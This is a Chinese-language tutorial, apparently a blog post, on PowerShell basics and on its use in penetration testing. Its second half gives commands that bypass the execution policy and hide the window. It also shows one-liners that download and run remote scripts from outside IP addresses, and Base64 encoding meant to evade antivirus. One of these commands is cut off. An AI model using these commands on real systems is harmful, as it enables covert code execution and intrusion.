1、介绍
PowerShell 可以简单的理解为
cmd
的高级版,
cmd
能做的事在
PowerShell
中都能做,但
PowerShell
还能做很多
cmd
不能做的事情。
PowerShell 内置在
Windows 7
、
Windows Server 2008 R2
及更高版本的
Windows
系统中,同时
PowerShell
是构建在
.NET
平台上的,所有命令传递的都是
.NET
对象。
PowerShell 有如下特点:Windows 7 以上的操作系统默认安装PowerShell 脚本可以运行在内存中,不需要写入磁盘可以从另一个系统中下载 PowerShell 脚本并执行目前很多工具都是基于 PowerShell 开发的很多安全软件检测不到 PowerShell 的活动cmd 通常会被阻止运行,但是 PowerShell 不会可以用来管理活动目录
可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:
Windows 操作系统对应的 PowerShell 版本信息:1.0 windows server 20082.0 windows server 2008 r2 、 windows 73.0 windows server 2012 、 windows 84.0 windows server 2012 r2 、 windows 8.15.0 windows 105.1 windows server 2016
2、基本概念
ps1 文件
ps1
是
PowerShell
的脚本扩展名,一个
PowerShell
脚本文件其实就是一个简单的文本文件。
执行策略
为了防止恶意脚本在
PowerShell
中被运行,
PowerShell
有个执行策略,默认情况下,这个执行策略是受限模式
Restricted
。
使用
Get-ExecutionPolicy
命令查看当前执行策略
![](https://img-blog.csdnimg.cn/34c012d7a4374fa5bf3b4401708b735f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBARXJZYW83,size_18,color_FFFFFF,t_70,g_se,x_16)
执行策略有以下几种:Restricted :不能运行脚本RemoteSigned :本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)AllSigned :仅当脚本由受信任的发布者签名才能运行。Unrestricted :脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
使用
Set-ExecutionPolicy <policy name>
设置执行策略,该命令需要管理员权限
![](https://img-blog.csdnimg.cn/9519e1e0be7a4b57bd8f61e178e158db.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBARXJZYW83,size_20,color_FFFFFF,t_70,g_se,x_16)
运行脚本
PowerShell 运行脚本的方式和其他
shell
基本一致,可以输入完整路径运行,也可以到
ps1
文件所在目录下去运行,具体如下:
![](https://img-blog.csdnimg.cn/0a157edc347a4c5d8b1f46b39530360d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBARXJZYW83,size_20,color_FFFFFF,t_70,g_se,x_16)
管道
PowerShell 中的管道类似linux中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令直接使用 "|" 进行连接。
列如,在PowerShell 中获取进程信息并以程序ID进行排序
Get-Process | Sort-Object ID
![](https://img-blog.csdnimg.cn/a87c578dc8b74afbab41e69c13575ec0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBARXJZYW83,size_20,color_FFFFFF,t_70,g_se,x_16)
3.一些命令
-NoLogo :启动不显示版权标志的 PowerShell-WindowStyle Hidden (-W Hidden) :隐藏窗口-NoProfile (-NoP) :不加载当前用户的配置文件–Enc :执行 base64 编码后的 powershell 脚本字符串-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略-Noexit :执行后不退出 Shell ,这在使用键盘记录等脚本时非常重要-NonInteractive (-Nonl) :非交互模式, PowerShell 不为用户提供交互的提示
在
PowerShell
下,命令的命名规范很一致,都采用了动词
-
名词的形式,如
Net-Item
,动词一般为
Add
、
New
、
Get
、
Remove
、
Set
等。
PowerShell
还兼容
cmd
和
Linux
命令,如查看目录可以使用
dir
或者 ls
。
文件操作类命令
新建目录 test : New-Item test -ItemType directory删除目录 test : Remove-Item test新建文件 test.txt : New-Item test.txt -ItemType file新建文件 test.txt ,内容为 hello : New-Item test.txt -ItemType file -value "hello"删除文件 test.txt : Remove-Item test.txt查看文件 test.txt 内容: Get-Content test.txt设置文件 test.txt 内容 t : Set-Content test.txt -Value "hello"给文件 test.txt 追加内容: Add-Content test.txt -Value ",word!"清除文件 test.txt 内容: Clear-Content test.txt
绕过本地权限并执行
上面说到了默认情况下
PowerShell
的执行策略是受限模式
Restricted
,这就导致了在渗透测试过程中我们需要采用一些方法绕过这个策略,从而执行我们的脚本文件。
先来看看默认受限模式下执行脚本的情况
![](https://img-blog.csdnimg.cn/74cb2b9db10a4650822b1645c33a4cc0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBARXJZYW83,size_20,color_FFFFFF,t_70,g_se,x_16)
这里系统会提示在此系统上禁止运行脚本,但加上
-ExecutionPolicy Bypass
即可绕过这个限制
PowerShell.exe -ExecutionPolicy Bypass -File .\powershell.ps1
绕过本地权限并隐藏执行
加入
-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile
即可隐藏执行。
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File .\powershell.ps1
下载远程脚本绕过权限并隐藏执行
powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://123.56.82.231:8000/eryao7.ps1');
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps
或者简写
PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
利用 Base64 对命令进行编码
使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址:https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可
>cat tmp.txtIEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')>python ps_encoder.py -s tmp.txtSQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQA
使用 -Enc 指定Base64编码内容
PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALw